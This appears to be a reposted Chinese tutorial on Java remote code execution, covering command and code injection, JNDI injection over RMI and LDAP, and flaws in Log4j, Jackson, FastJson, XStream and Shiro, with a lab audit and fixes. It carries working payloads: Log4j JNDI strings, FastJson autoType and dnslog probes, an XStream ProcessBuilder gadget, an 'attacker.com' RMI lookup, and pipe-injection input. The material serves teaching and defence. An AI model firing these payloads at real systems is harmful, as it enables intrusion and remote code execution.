WEB攻防-Java安全JNDIRMILDAP五大不安全組件RCE執行不出網不回顯

目錄

1.? RCE執行-5大類函數調用

1.1??Runtime方式

1.2? Groovy執行命令

?1.3? 腳本引擎代碼注入?

?1.4??ProcessImpl

1.5? ProcessBuilder

2.? JNDI注入(RCE)-RMI&LDAP&高版本

2.1? RMI服務中的JNDI注入場景?

2.2? LDAP服務中的JNDI注入場景

攻擊路徑示例(以LdapTemplate為例)

?2.3? 靶場案例

2.4? JDNI注入利用條件

3.? 不安全組件(框架)

3.1??Log4j

3.2? Jackson

3.3? FastJson

3.4? XStream反序列化

?3.5? Shiro

4.? 演示案例-白盒審計不安全組件漏洞?

4.1? 案例部署

4.2? FastJson

4.3? Log4J

5.? 不回顯常見判斷通用方法:


1.? RCE執行-5大類函數調用

RCE (Remote Code Execution), 遠程代碼執行漏洞,這里包含兩類漏洞:

命令注入(Command Injection),在某種開發需求中,需要引入對系統本地命令的支持來完成特定功能,當未對輸入做過濾時,則會產生命令注入
代碼注入(Code Injection),在正常的java程序中注入一段java代碼并執行,即用戶輸入的數據當作java代碼進行執行。

這里主要是介紹java原生代碼中常見的5大類函數調用命令/代碼執行

1.1??Runtime方式

漏洞描述

遠程命令執行漏洞,用戶通過瀏覽器提交執行命令,由于服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令

可能會允許攻擊者通過改變 $PATH 或程序執行環境的其他方面來執行一個惡意構造的代碼。

getRuntime()常用于執行本地命令,使用頻率較高。

漏洞代碼

// Runtime.getRuntime().exec(cmd)public static String vul(String cmd) {StringBuilder sb = new StringBuilder();try {Process proc = Runtime.getRuntime().exec(cmd);InputStream fis = proc.getInputStream();InputStreamReader isr = new InputStreamReader(fis);BufferedReader br = new BufferedReader(isr);...

安全代碼-白名單方式

// 使用白名單替換黑名單。黑名單需要不斷更新,而白名單只需要指定允許執行的命令,更容易維護。public static String safe(String cmd) {// 定義命令白名單Set<String> commands = new HashSet<\>();commands.add("ls");commands.add("pwd");// 檢查用戶提供的命令是否在白名單中String command = cmd.split("\\s+")[0];if (!commands.contains(command)) {return "命令不在白名單中";}...
}

1.2? Groovy執行命令

漏洞描述

* windows: "calc".execute()

* macos: "open -a Calculator".execute()

漏洞代碼

// 不安全的使用Groovy調用命令import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {GroovyShell shell = new GroovyShell();shell.evaluate(cmd);
}

?直接調用calc.exe,execute()是Groovy中執行命令的方法

通過cmd執行calc(兼容性更好)

?1.3? 腳本引擎代碼注入?

漏洞描述

在Java 8之后ScriptEngineManager的eval函數就沒有了

windows: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};

Payload繞過: var a = mainOutput(); function mainOutput() { var x=java.lang.\/****\/Runtime.getRuntime().exec("calc");}

漏洞代碼

// 通過加載遠程js文件來執行代碼,如果加載了惡意js則會造成任意命令執行
// 遠程惡意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ?? 在Java 8之后移除了ScriptEngineManager的evalpublic void jsEngine(String url) throws Exception {ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}

解釋:在標準的瀏覽器環境或Node.js環境中,JavaScript本身并沒有直接訪問java.lang.Runtime類的方法,因為java.lang是Java的標準庫包,與JavaScript無關。

然而,在Java的腳本引擎(如Nashorn)環境中,情況就不同了。在這種環境中,JavaScript代碼可以訪問和執行Java代碼,包括Java標準庫中的類和方法,前提是這些類和方法對腳本引擎是可見的,并且沒有受到安全策略的限制

詳細解釋:

  1. Java腳本引擎環境
    • 當你在Java應用程序中嵌入JavaScript引擎(如Nashorn)時,JavaScript代碼將在Java虛擬機(JVM)中執行。
    • 在這種環境中,JavaScript代碼可以調用Java對象和方法,就像Java代碼調用它們一樣。
  2. 訪問java.lang.Runtime
    • java.lang.Runtime類是Java標準庫中的一個類,提供了與應用程序運行時環境交互的方法。
    • 在Java腳本引擎中,如果未明確禁止腳本訪問java.lang包,JavaScript代碼就可以通過java.lang.Runtime類來訪問運行時環境。
  3. 調用getRuntime().exec()方法
    • getRuntime()方法是java.lang.Runtime類的一個靜態方法,返回一個Runtime對象,該對象表示當前的運行時環境。
    • exec()方法是Runtime類的一個方法,用于執行指定的系統命令。
    • 因此,在Java腳本引擎中,JavaScript代碼可以通過java.lang.Runtime.getRuntime().exec("command")來執行系統命令。

在遠程服務器創建1.js,代碼如下:

var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("cmd /c calc");}
  • 代碼通過var a = mainOutput();調用了mainOutput()函數。
  • mainOutput()函數內部執行了java.lang.Runtime.getRuntime().exec("cmd /c calc"),啟動了計算器應用程序。
  • 變量a被賦值為mainOutput()函數的返回值(即undefined),但關鍵的系統命令執行已經發生。

?1.4??ProcessImpl

漏洞描述

對于ProcessImpl類不能直接調用,但可以通過反射來間接調用ProcessImpl來達到執行命令的目的

該類非Public修飾,所以在不同包下只能通過反射的方式去調用執行。

漏洞代碼

// ProcessImpl 是更為底層的實現,Runtime和ProcessBuilder執行命令實際上也是調用了ProcessImpl這個類
// ProcessImpl 類是一個抽象類不能直接調用,但可以通過反射來間接調用ProcessImpl來達到執行命令的目的public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法來獲取 ProcessImpl 類的類對象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法來獲取 ProcessImpl 類的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法將 start 方法設為可訪問method.setAccessible(true);// 最后,使用 method.invoke 方法來調用 start 方法,并傳入參數 cmd,執行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}

解釋:?

Constructor<?> constructor = Class.forName("java.lang.ProcessImpl").getDeclaredConstructor(String[].class,          // (1) 命令參數數組Map.class,               // (2) 環境變量映射String.class,            // (3) 工作目錄路徑ProcessHandle.class,     // (4) 進程句柄long.class               // (5) 本地進程ID);

參數詳解:

  1. String[].class
    • 作用:要執行的命令及其參數列表
    • 示例new String[]{"ls", "-l", "/tmp"}
    • 注意:首個元素通常為可執行程序路徑,后續元素為參數
  2. Map.class
    • 作用:子進程的環境變量映射表
    • 類型Map<String, String>
    • 示例Map.of("PATH", "/usr/bin")
    • 注意:若傳入null,將繼承父進程的環境變量
  3. String.class
    • 作用:子進程的工作目錄絕對路徑
    • 示例"/var/www"
    • 注意:若傳入null,將繼承父進程的工作目錄
  4. ProcessHandle.class
    • 作用:關聯的進程句柄對象
    • 用途:用于獲取進程PID、父進程信息、進程狀態等
    • 示例ProcessHandle.current()獲取當前進程句柄
  5. long.class
    • 作用:本地進程ID(Native PID)
    • 來源:由JVM底層創建進程時分配
    • 注意:通常傳入-1L,表示由系統自動分配

?

1.5? ProcessBuilder

漏洞描述

Process類是一個抽象類(所有的方法均是抽象的),封裝了一個進程(即一個執行程序)。

Process 類提供了執行從進程輸入、執行輸出到進程、等待進程完成、檢查進程的退出狀態以及銷毀(殺掉)進程的方法。

ProcessBuilder.start() 和 Runtime.exec 方法創建一個本機進程,并返回 Process 子類的一個實例,該實例可用來控制進程并獲取相關信息。

創建的子進程沒有自己的終端或控制臺。它的所有標準 io(即 stdin,stdout,stderr)操作都將通過三個流 (getOutputStream(),getInputStream(),getErrorStream()) 重定向到父進程,通過流的形式進行讀取。

簡單點說就是:ProcessBuilderRuntime.exec()方法用于創建子進程,其參數處理機制存在安全隱患。當未經驗證的外部輸入直接拼接到命令字符串時,攻擊者可注入惡意參數改變執行邏輯。

漏洞代碼?

// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder執行ls命令查看文件,但攻擊者通過拼接; & |等連接符來執行自己的命令。public static String processbuilderVul(String filepath) throws IOException {String[] cmdList = {"sh", "-c", "ls -l " + filepath};ProcessBuilder pb = new ProcessBuilder(cmdList);pb.redirectErrorStream(true);Process process = pb.start();// 獲取命令的輸出InputStream inputStream = process.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));String line;StringBuilder output = new StringBuilder();while ((line = reader.readLine()) != null) {output.append(line).append("\n");}return output.toString();
}

?由于這是寫的Linux的命令,所以換另一個平臺javasec-0.0.1-SNAPSHOT.jar測試

漏洞代碼

 public String ProcessBuilderExec(String ip, String safe, Model model) {if (safe != null) {if (Security.checkOs(ip)) {model.addAttribute("results", "檢測到非法命令注入");return "basevul/rce/processbuilder";}}
//        String[] cmdList = {"sh", "-c", "ping -c 1 " + ip};String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};StringBuilder sb = new StringBuilder();String line;String results;

代碼類似,這里通過safe開關來打開過濾,過濾代碼:

    public static boolean checkOs(String content) {String black = "|,&,&&,;,||";String[] black_list = black.split(",");for (String s : black_list) {if (content.contains(s)) {return true;}}return false;}

?未過濾時ip輸入127.0.0.1 | calc

打開過濾

2.? JNDI注入(RCE)-RMI&LDAP&高版本

JNDI(Java Naming and Directory Interface)是Java平臺提供的命名與目錄服務接口,它的核心作用是通過統一的API訪問各種命名/目錄服務(如LDAP、DNS、RMI等)。其設計初衷是為分布式系統提供統一的資源定位服務。通過InitialContext.lookup()方法,開發者可以透明地訪問各種命名/目錄服務。

簡單來說,JNDI就像是一個“通訊錄”,Java程序可以通過它查找和獲取遠程服務資源。?

RMI:是Java原生支持的遠程調用方法協議,允許一個Java虛擬機(JVM)中的對象調用另一個JVM中對象的方法,適用于分布式系統中組件間的通信。

服務端:注冊遠程對象

// 定義遠程接口
public interface IRemoteService extends Remote {String sayHello(String name) throws RemoteException;
}// 實現遠程對象
public class RemoteServiceImpl extends UnicastRemoteObject implements IRemoteService {public RemoteServiceImpl() throws RemoteException {}@Overridepublic String sayHello(String name) {return "Hello, " + name;}
}// 注冊到RMI Registry
public class RMIServer {public static void main(String[] args) throws Exception {IRemoteService service = new RemoteServiceImpl();Registry registry = LocateRegistry.createRegistry(1099);registry.bind("RemoteService", service);System.out.println("RMI服務已啟動");}
}

客戶端:通過JNDI查找并調用

public class RMIClient {public static void main(String[] args) throws Exception {Hashtable<String, String> env = new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);IRemoteService service = (IRemoteService) ctx.lookup("RemoteService");System.out.println(service.sayHello("World"));  // 輸出: Hello, World}
}

RMI會優先調用本地存在的方法,沒有才會調用遠程提供的方法


LDAP:輕量級目錄訪問協議 ,常用于用戶認證、組織信息查詢等。

關鍵字英文全稱含義
dcDomain Component域名的部分,其格式是將完整的域名分成幾部分,如域名為example.com變成dc=example,dc=com(一條記錄的所屬位置)
uidUser Id用戶ID songtao.xu(一條記錄的ID)
ouOrganization Unit組織單位,組織單位可以包含其他各種對象(包括其他組織單元),如“oa組”(一條記錄的所屬組織)
cnCommon Name公共名稱,如“Thomas Johansson”(一條記錄的名稱)
snSurname姓,如“許”
dnDistinguished Name“uid=songtao.xu,ou=oa組,dc=example,dc=com”,一條記錄的位置(唯一)
rdnRelative dn相對辨別名,類似于文件系統中的相對路徑,它是與目錄樹結構無關的部分,如“uid=tom”或“cn= Thomas Johansson”

風險本質上是攻擊者通過構造惡意JNDI引用,誘導應用加載遠程類庫并執行惡意代碼。這種攻擊往往結合反序列化漏洞、日志注入等場景,形成攻擊鏈。

2.1? RMI服務中的JNDI注入場景?

類名方法調用場景風險描述
org.springframework.transaction.jta.JtaTransactionManagerreadObject()反序列化未過濾的JNDI名稱可導致注入
com.sun.rowset.JdbcRowSetImplexecute()數據庫操作dataSourceName參數未校驗
javax.management.remote.rmi.RMIConnectorconnect()JMX連接RMI地址參數未做白名單控制
org.hibernate.jmx.StatisticsServicesetSessionFactoryJNDIName()JMX配置直接設置未驗證的JNDI名稱

攻擊路徑示例(以JdbcRowSetImpl為例)?

注入點

String payload = "rmi://attacker.com/Exploit";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(payload); // 未校驗的輸入

?觸發點

rs.execute(); // 內部調用lookup()加載RMI服務

2.2? LDAP服務中的JNDI注入場景

類名方法調用場景風險描述
javax.naming.directory.InitialDirContextlookup()LDAP查詢未過濾的查詢參數
org.springframework.ldap.core.LdapTemplatelookup()LDAP操作動態構建的查詢語句

攻擊路徑示例(以LdapTemplate為例)

注入點

String baseDn = "${userInput}"; // 用戶可控輸入
LdapTemplate template = new LdapTemplate(contextSource);
template.lookup(baseDn, new MyAttributesMapper());

?觸發點

template.lookup(...); // 內部調用InitialDirContext.lookup()

?漏洞代碼

?2.3? 靶場案例

// lookup是通過名字檢索執行的對象,當lookup()方法的參數可控時,攻擊者便能提供一個惡意的url地址來加載惡意類。public void vul(String content) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI錯誤消息");}
}

使用工具生成payload

?jndi本身不是漏洞,是java用來遠程加載文件執行從而造成一個RCE的結果,一般是在漏洞利用的時候會使用這個jndi注入達到一個RCE目的。

?安全代碼 - 正則攔截

public String safe(String content) {// 使用正則表達式限制參數if (content.matches("^[\\w\\.-]+$")) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI錯誤消息");}return HtmlUtils.htmlEscape(content);} else {return "JNDI 正則攔截";}
}

?安全代碼 - 白名單攔截?

public String safe2(String content) {List<String> whiteList = Arrays.asList("java:comp/env/jdbc/mydb", "java:comp/env/mail/mymail");if (whiteList.contains(content)) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI錯誤消息");}return HtmlUtils.htmlEscape(content);} else {return "JNDI 白名單攔截";}
}

更新jdk版本,能起到一定的防御作用,但不能完全有效,最終還是在于編寫安全代碼
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了。
??

2.4? JDNI注入利用條件

?如果對方使用的更高版本去部署,rmi和ldap都可能失敗,及時漏洞存在,可能會接受到請求class文件,但不會成功執行

Tomcat 8+ or SpringBoot 1.2.x+部署也會存在注入

高版本繞過可參考:

8u191后的JNDI注入利用 - Atomovo - 博客園

如何繞過高版本JDK的限制進行JNDI注入利用 – KINGX

3.? 不安全組件(框架)

3.1??Log4j

Apache的一個開源項目,是一個基于Java的日志記錄框架。

Log4j2默認支持解析ldap/rmi協議(只要打印的日志中包括ldap/rmi協議即可),并會通過名稱從ldap服務端其獲取對應的Class文件,并使用ClassLoader在本地加載Ldap服務端返回的Class類。

這就為攻擊者提供了攻擊途徑,攻擊者可以在界面傳入一個包含惡意內容的ldap協議內容(如:${jndi:ldap://localhost:9999/Test}),

該內容傳遞到后端被log4j2打印出來,就會觸發惡意的Class的加載執行(可執行任意后臺指令),從而達到攻擊的目的。

歷史漏洞:https://avd.aliyun.com/search?q=Log4j

本地javasec案例

漏洞代碼:

// log4j-core < 2.15.0-rc1public String vul(String content) {logger.error(content);return "Log4j2 RCE";
}

?工具生成payload

實際情況彈出計算機calc操作是在服務端彈出的,我們沒有回顯,所以測試的時候用dnslog做帶外就知道是否可以出網了

?

修復方案:

方案一、升級版本
? ? 升級Apache Log4j所有相關應用到>= Log4j-2.15.0官方穩定版本
方案二、臨時緩解(選其一)

? ? ● 版本>=2.10.0, 修改jvm參數,添加-Dlog4j2.formatMsgNoLookups=true
? ? ● 版本>=2.10.0, 代碼中配置System.setProperty("log4j2.formatMsgNoLookups", "true"),重新打包jar包
? ? ● 版本>=2.10.0, 修改配置文件log4j2.component.properties :log4j2.formatMsgNoLookups=True
? ? 注意:臨時緩解對Log4j <= 2.9版本是無效的,因為在2.10版本之前并沒有引入這些變量來控制 lookup()。
? ??

3.2? Jackson

主要負責處理Json的序列化和反序列化。

Jackson-databind 支持 Polymorphic Deserialization 特性(默認情況下不開啟),當 json 字符串轉換的 Target class 中有 polymorph fields,即字段類型為接口、抽象類或 Object 類型時,

攻擊者可以通過在 json 字符串中指定變量的具體類型 (子類或接口實現類),來實現實例化指定的類,借助某些特殊的 class,如 TemplatesImpl,可以實現任意代碼執行。

CVE-2020-xxxx:Jackson-databind RCE兩則

影響范圍:

  • jackson-databind before 2.9.10.4
  • jackson-databind before 2.8.11.6
  • jackson-databind before 2.7.9.7

利用條件:

  • 開啟enableDefaultTyping()
  • 使用了com.nqadmin.rowset.JdbcRowSetImpl第三方依賴

漏洞概述:

com.nqadmin.rowset.JdbcRowSetImpl類繞過了之前jackson-databind維護的黑名單類,并且JDK版本較低的話,可造成RCE。

3.3? FastJson

阿里巴巴公司開源的json解析器,它可以解析JSON格式的字符串,支持將JavaBean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。

3.4? XStream反序列化

XStream是一個輕量級、簡單易用的開源Java類庫,它主要用于將對象序列化成XML(JSON)或反序列化為對象。

XStream 在解析XML文本時使用黑名單機制來防御反序列化漏洞,但是其 1.4.16 及之前版本黑名單存在缺陷,攻擊者可利用sun.rmi.registry.RegistryImpl_Stub構造RMI請求,進而執行任意命令。

歷史上存在多個反序列化漏洞。

<!--payload-->
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string><!--執行的命令--></command></target><action>start</action></handler></dynamic-proxy>
</sorted-set>

?3.5? Shiro

Java安全框架,能夠用于身份驗證、授權、加密和會話管理。

強特征:數據包有標識字樣: Remember-me

在登錄時發現發送失敗,返回空指針報錯問題

?檢查發現是前端和后端的參數名錯了,導致remember值為null造成的,把后端shoir.java的大寫M改為小寫重新打包就行

?獲取請求url

使用工具利用

4.? 演示案例-白盒審計不安全組件漏洞?

4.1? 案例部署

1.執行sql文件

?

2.以項目打開pom.xml文件的方式在idea導入項目

3. 重載一下maven,他會根據pom.xml去重新下載包3.

?4.修改數據庫連接用戶和密碼然后啟動項目

?http://127.0.0.1:8088/tmall/

4.2? FastJson

在pom文件中可以看到引入了FastJson1.2.58的包

關鍵函數:JSON.parseObject()

?項目中搜索該函數

可以看到在添加產品中使用了?JSON.parseObject(),后端接口admin/product下產品屬性參數propertyJson是通過FastJson解析的

登錄后臺,賬號/密碼:admin/123456

添加一個產品并抓包?

?

dnslog帶外測試:使用上面javasec的payload發現是被修復過的,報錯說不支持autoType,1.2.25版本以上默認關閉autotype,不允許反序列化時動態加載類{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://pxnskqelcn.yutu.eu.org","autoCommit":true}?

利用 java.net.Inet [4 | 6] 地址

版本范圍:1.2.24-1.2.83

{"@type":"java.net.Inet4Address","val":"vlcffimauq.lfcx.eu.org"}

想繼續利用沒有成功,也沒找到1.2.58繞過的payload

網上找到一些dnslog的payload,沒全測部分可用

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
? {{"@type":"java.net.URL","val":"dnslog"}:0
?

4.3? Log4J

重點關注 Logger.xxx,且引用了變量

TRACElogger.trace()用于記錄最詳細的日志信息,通常用于調試非常細粒度的程序行為。
DEBUGlogger.debug()用于記錄調試信息,幫助開發者在開發和測試階段排查問題。
INFOlogger.info()用于記錄一般性的運行信息,表示程序的正常運行狀態。
WARNlogger.warn()用于記錄警告信息,表示可能存在的問題,但程序仍能繼續運行。
ERRORlogger.error()用于記錄錯誤信息,表示程序出現了問題,但不一定導致程序崩潰。
FATALlogger.fatal()用于記錄嚴重錯誤信息,表示程序遇到了無法恢復的錯誤,可能會導致程序崩潰。

?全局搜索

可以看到后臺接口admin/uploadAdminHeadImage,文字上看是頭像上傳,上傳文件抓包把文件名改為payload

?調出計算器

5.? 不回顯常見判斷通用方法:

1、直接將命令執行結果寫入到靜態資源文件里,如html、js等,然后訪問。存在這個文件不就說明命令執行能夠執行了。

2、通過dnslog進行數據外帶,但如果無法執行dns請求就無法驗證了。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:
http://www.pswp.cn/web/75309.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/75309.shtml
英文地址,請注明出處:http://en.pswp.cn/web/75309.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Hadoop入門】Hadoop生態之Sqoop簡介

1 什么是Sqoop&#xff1f; 在企業的數據架構中&#xff0c;關系型數據庫與Hadoop生態系統之間的數據流動是常見且關鍵的需求。Apache Sqoop&#xff08;SQL-to-Hadoop&#xff09;正是為解決這一問題而生的高效工具&#xff0c;它專門用于在結構化數據存儲&#xff08;如RDBMS…

如何自動檢測使用的組件庫有更新

&#x1f916; 作者簡介&#xff1a;水煮白菜王&#xff0c;一位前端勸退師 &#x1f47b; &#x1f440; 文章專欄&#xff1a; 前端專欄 &#xff0c;記錄一下平時在博客寫作中&#xff0c;總結出的一些開發技巧和知識歸納總結?。 感謝支持&#x1f495;&#x1f495;&#…

Go語言編寫一個進銷存Web軟件的demo

Go語言編寫一個進銷存Web軟件的demo 用戶現在要求用。之前他們已經討論了用Django實現的方案&#xff0c;現在突然切換到Go&#xff0c;可能有幾個原因。首先&#xff0c;用戶可能對Go語言感興趣&#xff0c;或者他們公司的技術棧轉向了Go。其次&#xff0c;用戶可能希望比較不…

【前綴和】矩陣區域和(medium)

矩陣區域和&#xff08;medium&#xff09; 題?描述&#xff1a;解法&#xff1a;代碼Java 算法代碼&#xff1a;C 算法代碼&#xff1a; 題?描述&#xff1a; 題?鏈接&#xff1a;1314. 矩陣區域和 給你?個 m x n 的矩陣 mat 和?個整數 k &#xff0c;請你返回?個矩陣 …

Java學習手冊:Java發展歷史與版本特性

Java作為全球最流行的編程語言之一&#xff0c;其發展歷程不僅見證了技術的演進&#xff0c;也反映了軟件開發模式的變革。從1995年的首次發布到如今的持續更新&#xff0c;Java始終保持著強大的生命力和廣泛的影響力。本文將簡要回顧Java的發展歷程&#xff0c;并重點介紹其關…

winserver2022備份

安裝備份&#xff0c;然后等待安裝完成即可 然后可以在這里看到安裝好的win server2022備份 一直下一步然后到這里 不要用本地文件夾備份 備份到遠程服務器&#xff0c;遠程服務器路徑 然后確定備份即可 如何恢復呢&#xff1f; 點擊右側的恢復就可以了 打開任務計劃程序 這…

Unity 設置彈窗Tips位置

根據鼠標位于屏幕的區域&#xff0c;設置彈窗錨點以及位置 public static void TipsPos(Transform tf) {//獲取ui相機var uiCamera GetUICamera();var popup tf.GetComponent<RectTransform>();//獲取鼠標位置Vector2 mousePos Input.mousePosition;float screenWidt…

【C++基礎-關鍵字】:extern

深入理解 C++ 關鍵字 extern 在 C++ 編程中,extern 關鍵字扮演著重要角色,主要用于聲明全局變量或函數,使其在多個源文件間共享。本文將詳細探討 extern 的用法及其在實際開發中的應用。 1. 什么是 extern? extern 關鍵字用于聲明一個變量或函數的引用,表示該變量或函數…

我為女兒開發了一個游戲網站

大家好&#xff0c;我是星河。 自從協助妻子為女兒開發了算數射擊游戲后&#xff0c;星河就一直有個想法&#xff1a;為女兒打造一個專屬的學習游戲網站。之前的射擊游戲雖然有趣&#xff0c;但缺乏難度分級&#xff0c;無法根據女兒的學習進度靈活調整。而且&#xff0c;僅僅…

基于 Python 卷積神經網絡的新聞文本分類系統,附源碼

大家好&#xff0c;我是徐師兄&#xff0c;一個有著7年大廠經驗的程序員&#xff0c;也是一名熱衷于分享干貨的技術愛好者。平時我在 CSDN、掘金、華為云、阿里云和 InfoQ 等平臺分享我的心得體會。今天我來跟大家聊聊一個用 Python 和 Django 打造的人臉識別考勤系統&#xff…

ngx_cycle_modules

Ubuntu 下 nginx-1.24.0 源碼分析 - ngx_cycle_modules-CSDN博客 定義在 src/core/ngx_module.c ngx_int_t ngx_cycle_modules(ngx_cycle_t *cycle) {/** create a list of modules to be used for this cycle,* copy static modules to it*/cycle->modules ngx_pcalloc(…

AI 代碼生成工具如何突破 Java 單元測試效能天花板?

一、傳統單元測試的四大痛點 時間黑洞&#xff1a;根據 JetBrains 調研&#xff0c;Java 開發者平均花費 35% 時間編寫測試代碼覆蓋盲區&#xff1a;手工測試覆蓋率普遍低于 60%&#xff08;Jacoco 全球統計數據&#xff09;維護困境&#xff1a;業務代碼變更導致 38% 的測試用…

【保姆級圖解】插入排序 算法詳解:直接插入排序、希爾排序

總體引入 在計算機科學的算法領域中&#xff0c;排序是一項基礎且重要的操作。它旨在將一組無序的數據元素重新排列為有序序列&#xff0c;以滿足特定的順序要求&#xff0c;如升序或降序。常見的排序算法可分為不同類別&#xff0c;像插入排序&#xff0c;包含直接插入排序和…

為什么ChatGPT選擇SSE而非WebSocket?

為什么ChatGPT選擇SSE而非WebSocket&#xff1f; 一、ChatGPT回答問題的技術邏輯 ChatGPT的響應生成基于Transformer架構和自注意力機制&#xff0c;其核心是通過概率預測逐詞生成文本。當用戶輸入問題后&#xff0c;模型會先解析上下文&#xff0c;再通過預訓練的龐大語料庫…

Android 手機指紋傳感器無法工作,如何恢復數據?

天津鴻萌科貿發展有限公司從事數據安全服務二十余年&#xff0c;致力于為各領域客戶提供專業的數據恢復、數據清除、數據備份、數據取證、數據遷移解決方案&#xff0c;并針對企業面臨的數據安全風險&#xff0c;提供專業的相關數據安全培訓。 天津鴻萌科貿發展有限公司是眾多國…

DeepSeek 在金融領域的應用解決方案

DeepSeek 在金融領域的應用解決方案 一、背景 隨著人工智能技術的快速發展&#xff0c;DeepSeek 作為一款國產大模型&#xff0c;憑借其強大的語義理解、邏輯推理和多模態處理能力&#xff0c;在金融行業迅速嶄露頭角。金融行業作為經濟的核心&#xff0c;面臨著激烈的市場競…

織光五載 煥新啟航

成都時尚產業協會5周年 以創新為筆&#xff0c;續寫國際時尚之都的璀璨篇章 【一場跨越時空的時尚對話】 五年前&#xff0c;一顆名為"成都時尚產業協會"的種子在蓉城落地生根&#xff1b;五年后&#xff0c;這棵新芽已成長為枝繁葉茂的生態之樹&#xff0c;用交織…

scala集合

一、數組&#xff08;Array&#xff09; 1.數組轉換 不可變轉可變&#xff1a;arr1.toBuffer&#xff0c;arr1本身沒有變化 可變轉不可變&#xff1a;arr2.toArray&#xff0c;arr2本身沒有變化 2.多維數組 創建&#xff1a;val arr Array.ofDim[Int](3, 4)&#xff08;3 …

常用 Excel VBA 技巧,簡單好學易上手

在日常辦公中&#xff0c;我們常常會遇到各種繁瑣的數據處理任務&#xff0c;而 Excel VBA&#xff08;Visual Basic for Applications&#xff09;作為一款強大的自動化工具&#xff0c;能夠幫助我們輕松應對這些挑戰。本文將介紹一些常用且簡單好學的 Excel VBA 技巧&#xf…

Java 基礎 - 反射(1)

文章目錄 引入類加載過程1. 通過 new 創建對象2. 通過反射創建對象2.1 觸發加載但不初始化2.2 按需觸發初始化2.3 選擇性初始化控制 核心用法示例1. 通過無參構造函數創建實例對象2. 通過有參構造函數創建實例對象3. 反射通過私有構造函數創建對象&#xff0c; 破壞單例模式4. …